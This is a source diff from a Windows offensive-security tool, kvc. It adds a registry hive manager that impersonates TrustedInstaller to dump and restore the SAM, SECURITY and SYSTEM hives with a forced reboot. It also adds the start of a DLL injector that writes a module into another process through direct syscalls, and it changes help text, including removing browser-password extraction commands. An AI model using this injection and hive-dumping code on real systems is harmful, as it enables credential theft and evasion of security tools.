std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n";
@@ -356,11 +495,11 @@ void HelpSystem::PrintFooter() noexcept
const int width = 80;
// Top border with blue color
// Top border with blue color for professional appearance
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
// Centered footer content - split into multiple lines
// Centered footer content - split into multiple lines for readability
std::wstring line1 = L"Support this project - a small donation is greatly appreciated";
std::wstring line2 = L"and helps sustain private research builds.";
std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/";
@@ -375,7 +514,7 @@ void HelpSystem::PrintFooter() noexcept
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
// Text in white
// Text in white for maximum readability
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << text
<< std::wstring(width - 2 - padding - textLen, L' ');
@@ -390,11 +529,11 @@ void HelpSystem::PrintFooter() noexcept
printCenteredFooter(line3);
printCenteredFooter(line4);
// Donation line with colored links
// Donation line with colored links for easy identification
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|";
// Calculate spacing for PayPal and Revolut
// Calculate spacing for PayPal and Revolut links
std::wstring paypal = L"PayPal: ";
std::wstring paypalLink = L"paypal.me/ext1";
std::wstring middle = L" ";
@@ -420,10 +559,10 @@ void HelpSystem::PrintFooter() noexcept
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"|\n";
// Bottom border
// Bottom border to complete the frame
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
// Restore original color
// Restore original color for subsequent output
SetConsoleTextAttribute(hConsole, originalColor);
}
@@ -435,11 +574,11 @@ void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Yellow color for section headers
// Yellow color for section headers to make them stand out
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L"=== " << title << L" ===\n";
// Restore original color
// Restore original color after header
SetConsoleTextAttribute(hConsole, originalColor);
}
@@ -457,11 +596,11 @@ void HelpSystem::PrintNote(const wchar_t* note) noexcept
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Gray color for informational notes
// Gray color for informational notes to differentiate from commands
SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
std::wcout << L" " << note << L"\n";
// Restore original color
// Restore original color after note
SetConsoleTextAttribute(hConsole, originalColor);
}
@@ -472,23 +611,34 @@ void HelpSystem::PrintWarning(const wchar_t* warning) noexcept
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Red color for warning messages
// Red color for warning messages to grab attention
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L" " << warning << L"\n";
// Restore original color
// Restore original color after warning
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintBrowserCommands() noexcept
void HelpSystem::PrintUnknownCommandMessage(std::wstring_view command) noexcept
{
PrintSectionHeader(L"Browser Password Extraction Commands");
PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");
PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
PrintNote(L"Requires kvc_pass.exe in current directory");
PrintNote(L"Uses COM elevation for advanced browser encryption");
std::wcout << L"\n";
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
// Red color for the entire message block
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
std::wcout << L"\nCommand not found: \"" << command << L"\"\n\n";
std::wcout << L"To display help, use one of the following:\n";
std::wcout << L" kvc -h\n";
std::wcout << L" kvc help\n";
std::wcout << L" kvc | more (for paginated output)\n";
std::wcout << L" kvc help >> \"%USERPROFILE%\\Desktop\\help.txt\" (save to file)\n\n";
// Restore original color
SetConsoleTextAttribute(hConsole, originalColor);
// Visual feedback: shake desktop on invalid command
ScreenShake(3, 10); //ScreenShake.asm
}

View File

@@ -1,9 +1,13 @@
// HelpSystem.h
// Comprehensive help system with modular command documentation
// Author: Marek Wesolowski, 2025
#pragma once
#include "common.h"
#include <string_view>
// Comprehensive help system for kvc with modular command documentation
// Static help system - no instantiation needed
class HelpSystem
{
public:
@@ -12,16 +16,25 @@ public:
// Main help interface
static void PrintUsage(std::wstring_view programName) noexcept;
// Specific help sections
static void PrintHeader() noexcept;
static void PrintBasicCommands() noexcept;
static void PrintProtectionCommands() noexcept;
static void PrintSystemCommands() noexcept;
static void PrintDefenderCommands() noexcept;
static void PrintDPAPICommands() noexcept;
static void PrintBrowserCommands() noexcept;
static void PrintUnknownCommandMessage(std::wstring_view command) noexcept;
// Command category sections
static void PrintServiceCommands() noexcept;
static void PrintDSECommands() noexcept;
static void PrintBasicCommands() noexcept;
static void PrintProcessTerminationCommands() noexcept;
static void PrintProtectionCommands() noexcept;
static void PrintSessionManagement() noexcept;
static void PrintSystemCommands() noexcept;
static void PrintRegistryCommands() noexcept;
static void PrintBrowserCommands() noexcept;
static void PrintDefenderCommands() noexcept;
static void PrintSecurityEngineCommands() noexcept;
static void PrintDPAPICommands() noexcept;
static void PrintWatermarkCommands() noexcept;
// Documentation sections
static void PrintProtectionTypes() noexcept;
static void PrintExclusionTypes() noexcept;
static void PrintPatternMatching() noexcept;
@@ -34,7 +47,7 @@ public:
static void PrintFooter() noexcept;
private:
// Helper methods for consistent formatting
// Formatting helpers
static void PrintSectionHeader(const wchar_t* title) noexcept;
static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
static void PrintNote(const wchar_t* note) noexcept;

645
kvc/HiveManager.cpp Normal file
View File

@@ -0,0 +1,645 @@
// HiveManager.cpp
#include "HiveManager.h"
#include "common.h"
#include "TrustedInstallerIntegrator.h"
#include <iostream>
#include <iomanip>
#include <sstream>
#include <chrono>
#include <shlobj.h>
#include <sddl.h>
#include <lmcons.h>
#pragma comment(lib, "advapi32.lib")
HiveManager::HiveManager()
: m_tiToken(nullptr)
, m_tiIntegrator(nullptr)
{
m_currentUserSid = GetCurrentUserSid();
m_currentUsername = GetCurrentUsername();
InitializeHiveLists();
ResetStats();
}
HiveManager::~HiveManager()
{
if (m_tiToken) {
RevertToSelf();
m_tiToken = nullptr;
}
if (m_tiIntegrator) {
delete m_tiIntegrator;
m_tiIntegrator = nullptr;
}
}
std::wstring HiveManager::GetCurrentUserSid()
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
return L"";
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
std::vector<BYTE> buffer(dwSize);
TOKEN_USER* pTokenUser = reinterpret_cast<TOKEN_USER*>(buffer.data());
std::wstring sidString;
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
LPWSTR stringSid;
if (ConvertSidToStringSidW(pTokenUser->User.Sid, &stringSid)) {
sidString = stringSid;
LocalFree(stringSid);
}
}
CloseHandle(hToken);
return sidString;
}
std::wstring HiveManager::GetCurrentUsername()
{
wchar_t username[UNLEN + 1];
DWORD size = UNLEN + 1;
if (GetUserNameW(username, &size)) {
return std::wstring(username);
}
return L"";
}
// HiveManager.cpp - poprawiona funkcja GetHivePhysicalPath
fs::path HiveManager::GetHivePhysicalPath(const std::wstring& hiveName)
{
wchar_t winDir[MAX_PATH];
wchar_t sysDir[MAX_PATH];
GetWindowsDirectoryW(winDir, MAX_PATH);
GetSystemDirectoryW(sysDir, MAX_PATH);
fs::path windowsPath(winDir);
fs::path systemPath(sysDir);
if (hiveName == L"DEFAULT") {
return systemPath / L"config" / L"DEFAULT";
}
else if (hiveName == L"SAM") {
return systemPath / L"config" / L"SAM";
}
else if (hiveName == L"SECURITY") {
return systemPath / L"config" / L"SECURITY";
}
else if (hiveName == L"SOFTWARE") {
return systemPath / L"config" / L"SOFTWARE";
}
else if (hiveName == L"SYSTEM") {
return systemPath / L"config" / L"SYSTEM";
}
else if (hiveName == L"NTUSER" && !m_currentUsername.empty()) {
// Get user profile directory dynamically
wchar_t profileDir[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, profileDir))) {
return fs::path(profileDir) / L"NTUSER.DAT";
}
}
else if (hiveName == L"UsrClass" && !m_currentUsername.empty()) {
// Get user AppData\Local dynamically
wchar_t localAppData[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_LOCAL_APPDATA, nullptr, 0, localAppData))) {
return fs::path(localAppData) / L"Microsoft" / L"Windows" / L"UsrClass.dat";
}
}
return L"";
}
void HiveManager::InitializeHiveLists()
{
// Build user-specific paths
std::wstring userHivePath = L"HKU\\" + m_currentUserSid;
std::wstring userClassPath = userHivePath + L"_Classes";
// Critical registry hives (all operations require TrustedInstaller elevation)
m_registryHives = {
{ L"BCD", L"HKLM\\BCD00000000", false }, // Bootloader, cannot restore
{ L"DEFAULT", L"HKU\\.DEFAULT", true },
{ L"NTUSER", userHivePath, true }, // User hive with real SID
{ L"SAM", L"HKLM\\SAM", true },
{ L"SECURITY", L"HKLM\\SECURITY", true },
{ L"SOFTWARE", L"HKLM\\SOFTWARE", true },
{ L"SYSTEM", L"HKLM\\SYSTEM", true },
{ L"UsrClass", userClassPath, true } // User classes with real SID
};
}
void HiveManager::ResetStats()
{
m_lastStats = BackupStats{};
}
fs::path HiveManager::GenerateDefaultBackupPath()
{
wchar_t downloadsPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
fs::path basePath = fs::path(downloadsPath) / L"Downloads";
std::wstring folderName = L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file");
return basePath / folderName;
}
// Fallback to temp if Downloads not found
return fs::temp_directory_path() / (L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
}
bool HiveManager::ValidateBackupDirectory(const fs::path& path)
{
std::error_code ec;
// Normalize path
fs::path normalizedPath = fs::absolute(path, ec);
if (ec) {
ERROR(L"Failed to normalize path: %s", path.c_str());
return false;
}
// Create directory if it doesn't exist
if (!fs::exists(normalizedPath, ec)) {
if (!fs::create_directories(normalizedPath, ec)) {
ERROR(L"Failed to create backup directory: %s", normalizedPath.c_str());
return false;
}
INFO(L"Created backup directory: %s", normalizedPath.c_str());
}
// Verify it's a directory
if (!fs::is_directory(normalizedPath, ec)) {
ERROR(L"Path is not a directory: %s", normalizedPath.c_str());
return false;
}
return true;
}
bool HiveManager::ValidateRestoreDirectory(const fs::path& path)
{
std::error_code ec;
fs::path normalizedPath = fs::absolute(path, ec);
if (ec) {
ERROR(L"Failed to normalize path: %s", path.c_str());
return false;
}
if (!fs::exists(normalizedPath, ec) || !fs::is_directory(normalizedPath, ec)) {
ERROR(L"Restore directory does not exist: %s", normalizedPath.c_str());
return false;
}
return true;
}
bool HiveManager::ElevateToTrustedInstaller()
{
if (m_tiToken) {
return true; // Already elevated
}
if (!m_tiIntegrator) {
m_tiIntegrator = new TrustedInstallerIntegrator();
}
INFO(L"Acquiring TrustedInstaller token...");
m_tiToken = m_tiIntegrator->GetCachedTrustedInstallerToken();
if (!m_tiToken) {
ERROR(L"Failed to acquire TrustedInstaller token - ensure running as Administrator");
return false;
}
// Impersonate using TrustedInstaller token
if (!ImpersonateLoggedOnUser(m_tiToken)) {
ERROR(L"Failed to impersonate TrustedInstaller: %d", GetLastError());
m_tiToken = nullptr;
return false;
}
SUCCESS(L"Elevated to TrustedInstaller");
return true;
}
bool HiveManager::PromptYesNo(const wchar_t* question)
{
std::wcout << L"\n" << question << L" ";
std::wstring response;
std::getline(std::wcin, response);
if (response.empty()) {
return false;
}
wchar_t first = towlower(response[0]);
return (first == L'y' || first == L't'); // Y/y or T/t (Polish "tak")
}
bool HiveManager::SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile)
{
// Parse registry path to get root key
HKEY hRootKey = nullptr;
std::wstring subKey;
if (registryPath.starts_with(L"HKLM\\") || registryPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) {
hRootKey = HKEY_LOCAL_MACHINE;
size_t pos = registryPath.find(L'\\');
subKey = registryPath.substr(pos + 1);
}
else if (registryPath.starts_with(L"HKU\\") || registryPath.starts_with(L"HKEY_USERS\\")) {
hRootKey = HKEY_USERS;
size_t pos = registryPath.find(L'\\');
subKey = registryPath.substr(pos + 1);
}
else if (registryPath.starts_with(L"HKCU") || registryPath.starts_with(L"HKEY_CURRENT_USER")) {
hRootKey = HKEY_CURRENT_USER;
size_t pos = registryPath.find(L'\\');
if (pos != std::wstring::npos) {
subKey = registryPath.substr(pos + 1);
}
}
else {
ERROR(L"Invalid registry path format: %s", registryPath.c_str());
return false;
}
// Open registry key with backup privilege
HKEY hKey;
LONG result = RegOpenKeyExW(hRootKey, subKey.empty() ? nullptr : subKey.c_str(),
0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key %s: %d", registryPath.c_str(), result);
return false;
}
// Save the hive using latest format (compresses and defragments)
result = RegSaveKeyExW(hKey, destFile.c_str(), nullptr, REG_LATEST_FORMAT);
RegCloseKey(hKey);
if (result != ERROR_SUCCESS) {
ERROR(L"RegSaveKeyEx failed for %s: %d", registryPath.c_str(), result);
return false;
}
return true;
}
bool HiveManager::BackupRegistryHives(const fs::path& targetDir)
{
INFO(L"Backing up registry hives...");
for (const auto& hive : m_registryHives) {
m_lastStats.totalHives++;
fs::path destFile = targetDir / hive.name;
INFO(L" Saving %s -> %s", hive.name.c_str(), destFile.filename().c_str());
if (SaveRegistryHive(hive.registryPath, destFile)) {
m_lastStats.successfulHives++;
// Get file size
std::error_code ec;
auto size = fs::file_size(destFile, ec);
if (!ec) {
m_lastStats.totalBytes += size;
}
SUCCESS(L" Saved %s (%llu bytes)", hive.name.c_str(), size);
}
else {
m_lastStats.failedHives++;
ERROR(L" Failed to save %s", hive.name.c_str());
}
}
return m_lastStats.successfulHives > 0;
}
void HiveManager::PrintStats(const std::wstring& operation)
{
std::wcout << L"\n";
INFO(L"=== %s Statistics ===", operation.c_str());
INFO(L"Registry Hives: %zu/%zu successful", m_lastStats.successfulHives, m_lastStats.totalHives);
INFO(L"Total Size: %.2f MB", static_cast<double>(m_lastStats.totalBytes) / (1024.0 * 1024.0));
if (m_lastStats.failedHives > 0) {
ERROR(L"Failed: %zu hives", m_lastStats.failedHives);
}
}
bool HiveManager::Backup(const std::wstring& targetPath)
{
ResetStats();
// Determine target directory BEFORE elevation (to get real user profile)
fs::path backupDir;
if (targetPath.empty()) {
backupDir = GenerateDefaultBackupPath();
INFO(L"Using default backup path: %s", backupDir.c_str());
}
else {
backupDir = targetPath;
}
// Validate and create directory (before elevation)
if (!ValidateBackupDirectory(backupDir)) {
return false;
}
// NOW elevate to TrustedInstaller for unrestricted registry access
if (!ElevateToTrustedInstaller()) {
return false;
}
INFO(L"Starting registry backup to: %s", backupDir.c_str());
// Backup registry hives
bool success = BackupRegistryHives(backupDir);
// Print summary
PrintStats(L"Backup");
if (success) {
SUCCESS(L"Backup completed: %s", backupDir.c_str());
return true;
}
ERROR(L"Backup failed");
return false;
}
bool HiveManager::RestoreRegistryHives(const fs::path& sourceDir)
{
INFO(L"Validating backup files...");
for (const auto& hive : m_registryHives) {
fs::path sourceFile = sourceDir / hive.name;
std::error_code ec;
if (fs::exists(sourceFile, ec)) {
INFO(L" Found: %s", hive.name.c_str());
m_lastStats.successfulHives++;
auto size = fs::file_size(sourceFile, ec);
if (!ec) {
m_lastStats.totalBytes += size;
}
}
else {
ERROR(L" Missing: %s", hive.name.c_str());
m_lastStats.failedHives++;
}
}
return m_lastStats.failedHives == 0;
}
bool HiveManager::ApplyRestoreAndReboot(const fs::path& sourceDir)
{
// Enable restore privileges BEFORE attempting any restore operations
HANDLE token;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
TOKEN_PRIVILEGES tp;
LUID luid;
// SE_RESTORE_NAME - critical for RegRestoreKeyW
if (LookupPrivilegeValueW(nullptr, SE_RESTORE_NAME, &luid)) {
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
}
// SE_BACKUP_NAME - for good measure
if (LookupPrivilegeValueW(nullptr, SE_BACKUP_NAME, &luid)) {
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
}
CloseHandle(token);
}
INFO(L"Applying registry restore using RegRestoreKeyW...");
size_t restoredLive = 0;
size_t restoredPending = 0;
for (const auto& hive : m_registryHives) {
// Skip non-restorable hives
if (!hive.canRestore) {
INFO(L" Skipping %s (cannot restore)", hive.name.c_str());
continue;
}
fs::path sourceFile = sourceDir / hive.name;
std::error_code ec;
if (!fs::exists(sourceFile, ec)) {
ERROR(L" Missing backup file: %s", hive.name.c_str());
continue;
}
// Parse registry path to get root key and subkey
HKEY hRootKey = nullptr;
std::wstring subKey;
if (hive.registryPath.starts_with(L"HKLM\\")) {
hRootKey = HKEY_LOCAL_MACHINE;
size_t pos = hive.registryPath.find(L'\\');
subKey = hive.registryPath.substr(pos + 1);
}
else if (hive.registryPath.starts_with(L"HKU\\")) {
hRootKey = HKEY_USERS;
size_t pos = hive.registryPath.find(L'\\');
subKey = hive.registryPath.substr(pos + 1);
}
else {
ERROR(L" Invalid path format for %s", hive.name.c_str());
continue;
}
// Open the target key
HKEY hKey;
LONG result = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (result != ERROR_SUCCESS) {
ERROR(L" Failed to open key %s: %d", hive.name.c_str(), result);
continue;
}
INFO(L" Restoring %s...", hive.name.c_str());
// Try live restore using REG_FORCE_RESTORE
result = RegRestoreKeyW(hKey, sourceFile.c_str(), REG_FORCE_RESTORE);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS) {
SUCCESS(L" Restored %s (live)", hive.name.c_str());
restoredLive++;
}
else if (result == ERROR_ACCESS_DENIED) {
// Live restore failed - schedule for next boot
INFO(L" Live restore failed (error 5) - scheduling for next boot...");
fs::path physicalPath = GetHivePhysicalPath(hive.name);
if (physicalPath.empty()) {
ERROR(L" Cannot determine physical path for %s", hive.name.c_str());
continue;
}
// Schedule file replacement on next boot
if (MoveFileExW(sourceFile.c_str(), physicalPath.c_str(),
MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING)) {
SUCCESS(L" Scheduled %s for next boot", hive.name.c_str());
restoredPending++;
}
else {
ERROR(L" Failed to schedule %s: %d", hive.name.c_str(), GetLastError());
}
}
else {
ERROR(L" Failed to restore %s: %d", hive.name.c_str(), result);
}
}
if (restoredLive == 0 && restoredPending == 0) {
ERROR(L"No hives were restored successfully");
return false;
}
SUCCESS(L"Successfully restored %zu hives (live: %zu, pending: %zu)",
restoredLive + restoredPending, restoredLive, restoredPending);
if (restoredPending > 0) {
INFO(L"Note: %zu hives scheduled for next boot (will replace on-disk files)", restoredPending);
}
INFO(L"System restart required for changes to take effect");
INFO(L"Initiating system reboot in 10 seconds...");
// Enable shutdown privilege
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) {
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
}
CloseHandle(token);
}
// Initiate system shutdown
if (!InitiateSystemShutdownExW(
nullptr,
const_cast<LPWSTR>(L"Registry restore complete - system restart required"),
10,
TRUE, // Force apps closed
TRUE, // Reboot after shutdown
SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_RECONFIG | SHTDN_REASON_FLAG_PLANNED
)) {
ERROR(L"Failed to initiate shutdown: %d", GetLastError());
INFO(L"Please restart the system manually");
return false;
}
SUCCESS(L"System reboot initiated");
return true;
}
bool HiveManager::Restore(const std::wstring& sourcePath)
{
ResetStats();
fs::path restoreDir = sourcePath;
// Validate source directory BEFORE elevation
if (!ValidateRestoreDirectory(restoreDir)) {
return false;
}
// NOW elevate to TrustedInstaller
if (!ElevateToTrustedInstaller()) {
return false;
}
INFO(L"Starting registry restore from: %s", restoreDir.c_str());
// Validate backup files
bool validated = RestoreRegistryHives(restoreDir);
// Print summary
PrintStats(L"Restore Validation");
if (!validated) {
ERROR(L"Restore validation failed - missing backup files");
return false;
}
INFO(L"All backup files validated successfully");
INFO(L"WARNING: Registry restore will modify system hives and requires restart");
// Prompt user
if (PromptYesNo(L"Apply restore and reboot now? (Y/N):")) {
return ApplyRestoreAndReboot(restoreDir);
}
INFO(L"Restore cancelled by user");
return false;
}
bool HiveManager::Defrag(const std::wstring& tempPath)
{
INFO(L"Starting registry defragmentation (backup with compression)");
// Generate temp backup path BEFORE any elevation (to get real user temp)
fs::path defragPath;
if (tempPath.empty()) {
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
}
else {
defragPath = tempPath;
}
INFO(L"Using temporary path: %s", defragPath.c_str());
// Backup automatically elevates to TrustedInstaller and uses REG_LATEST_FORMAT
// which provides compression and defragmentation
if (!Backup(defragPath.wstring())) {
ERROR(L"Defrag failed at backup stage");
return false;
}
INFO(L"Defragmented backup created successfully");
INFO(L"Backup location: %s", defragPath.c_str());
INFO(L"To complete defragmentation, defragmented hives must be restored");
INFO(L"WARNING: This will modify system hives and requires restart");
// Prompt user
if (PromptYesNo(L"Apply defragmented hives and reboot now? (Y/N):")) {
return ApplyRestoreAndReboot(defragPath);
}
SUCCESS(L"Defragmentation backup completed");
INFO(L"You can manually restore from: %s", defragPath.c_str());
return true;
}

111
kvc/HiveManager.h Normal file
View File

@@ -0,0 +1,111 @@
// HiveManager.h
// Registry hive backup, restore and defragmentation manager (TrustedInstaller, destructive ops)
#pragma once
#include <windows.h>
#include <string>
#include <vector>
#include <filesystem>
namespace fs = std::filesystem;
// Forward declaration of TrustedInstallerIntegrator class
class TrustedInstallerIntegrator;
// Manage registry hives: backup, restore and defragment (supports system and user hives; TI required)
class HiveManager
{
public:
// Acquire TrustedInstaller, gather user info and initialize internal state
HiveManager();
// Release TrustedInstaller token and clean up on destruction
~HiveManager();
// === Main Operations ===
// Backup all supported registry hives to target directory (TrustedInstaller required)
bool Backup(const std::wstring& targetPath = L"");
// Restore registry hives from backup directory and schedule reboot (validates files, destructive)
bool Restore(const std::wstring& sourcePath);
// Defragment registry hives via export/import cycle to reduce fragmentation
bool Defrag(const std::wstring& tempPath = L"");
// Operation statistics for backup/restore runs
struct BackupStats {
size_t totalHives = 0; // Hives processed
size_t successfulHives = 0; // Successful operations
size_t failedHives = 0; // Failed operations
uint64_t totalBytes = 0; // Total bytes processed
};
// Return stats from last operation (reset at start of each op)
const BackupStats& GetLastStats() const { return m_lastStats; }
private:
// Registry hive metadata for processing
struct RegistryHive {
std::wstring name; // Hive name (e.g., "SYSTEM")
std::wstring registryPath; // Registry path (e.g., "HKLM\\SYSTEM")
bool canRestore; // Restorable with RegRestoreKeyW
};
// === Internal Operations ===
// Save all configured registry hives to target directory (calls SaveRegistryHive)
bool BackupRegistryHives(const fs::path& targetDir);
// Validate and prepare restore from backup directory (calls ApplyRestoreAndReboot)
bool RestoreRegistryHives(const fs::path& sourceDir);
// Apply restore and initiate system reboot (uses InitiateSystemShutdownExW)
bool ApplyRestoreAndReboot(const fs::path& sourceDir);
// Save a single registry hive to disk using RegSaveKeyW (requires SE_BACKUP_NAME)
bool SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile);
// Elevate process to TrustedInstaller and enable required privileges
bool ElevateToTrustedInstaller();
// Ask user Yes/No confirmation for destructive operations
bool PromptYesNo(const wchar_t* question);
// Generate default backup path using username and timestamp
fs::path GenerateDefaultBackupPath();
// Retrieve current user SID string (cached)
std::wstring GetCurrentUserSid();
// Retrieve current username (cached)
std::wstring GetCurrentUsername();
// Resolve hive name to physical file path on disk (handles user/system special cases)
fs::path GetHivePhysicalPath(const std::wstring& hiveName);
// Validate backup directory exists, is writable and has sufficient space
bool ValidateBackupDirectory(const fs::path& path);
// Validate restore directory contains expected .hiv files and readable sizes
bool ValidateRestoreDirectory(const fs::path& path);
// Populate m_registryHives with supported hives and metadata (called in ctor)
void InitializeHiveLists();
// Reset statistics counters to zero at operation start
void ResetStats();
// Print operation statistics to console in formatted form
void PrintStats(const std::wstring& operation);
// === Data Members ===
std::vector<RegistryHive> m_registryHives; // Hives to process
BackupStats m_lastStats; // Last operation stats
HANDLE m_tiToken; // TrustedInstaller token handle
TrustedInstallerIntegrator* m_tiIntegrator; // TrustedInstaller integration helper
std::wstring m_currentUserSid; // Cached current user SID
std::wstring m_currentUsername; // Cached current username
};

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 14 KiB

157
kvc/InjectionEngine.cpp Normal file
View File

@@ -0,0 +1,157 @@
// InjectionEngine.cpp - Low-level PE injection and execution
#include "InjectionEngine.h"
#include "syscalls.h"
#include <fstream>
#include <stdexcept>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
extern std::string g_securityModulePath;
// Constructor initializes injection context
InjectionManager::InjectionManager(TargetProcess& target, const Console& console)
: m_target(target), m_console(console) {}
// Main injection workflow execution
void InjectionManager::execute(const std::wstring& pipeName)
{
m_console.Debug("Loading security module from file: " + g_securityModulePath);
loadSecurityModuleFromFile(g_securityModulePath);
m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point.");
DWORD rdiOffset = getInitializeSecurityContextOffset();
if (rdiOffset == 0)
throw std::runtime_error("Could not find InitializeSecurityContext export in security module.");
m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
m_console.Debug("Allocating memory for security module in target process.");
PVOID remoteModuleBase = nullptr;
SIZE_T moduleSize = m_moduleBuffer.size();
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize;
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0,
&totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase));
m_console.Debug("Writing security module to target process memory.");
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase,
m_moduleBuffer.data(), moduleSize, &bytesWritten);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status));
m_console.Debug("Writing pipe name parameter into the same allocation.");
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteModuleBase) + moduleSize;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr,
(PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
m_console.Debug("Changing module memory protection to executable.");
ULONG oldProtect = 0;
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase,
&totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));
startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr);
m_console.Debug("New thread created for security module. Main thread remains suspended.");
}
// Reads DLL file into memory buffer
void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath)
{
if (!fs::exists(modulePath))
throw std::runtime_error("Security module not found: " + modulePath);
std::ifstream file(modulePath, std::ios::binary);
if (!file)
throw std::runtime_error("Failed to open security module: " + modulePath);
file.seekg(0, std::ios::end);
auto fileSize = file.tellg();
file.seekg(0, std::ios::beg);
m_moduleBuffer.resize(static_cast<size_t>(fileSize));
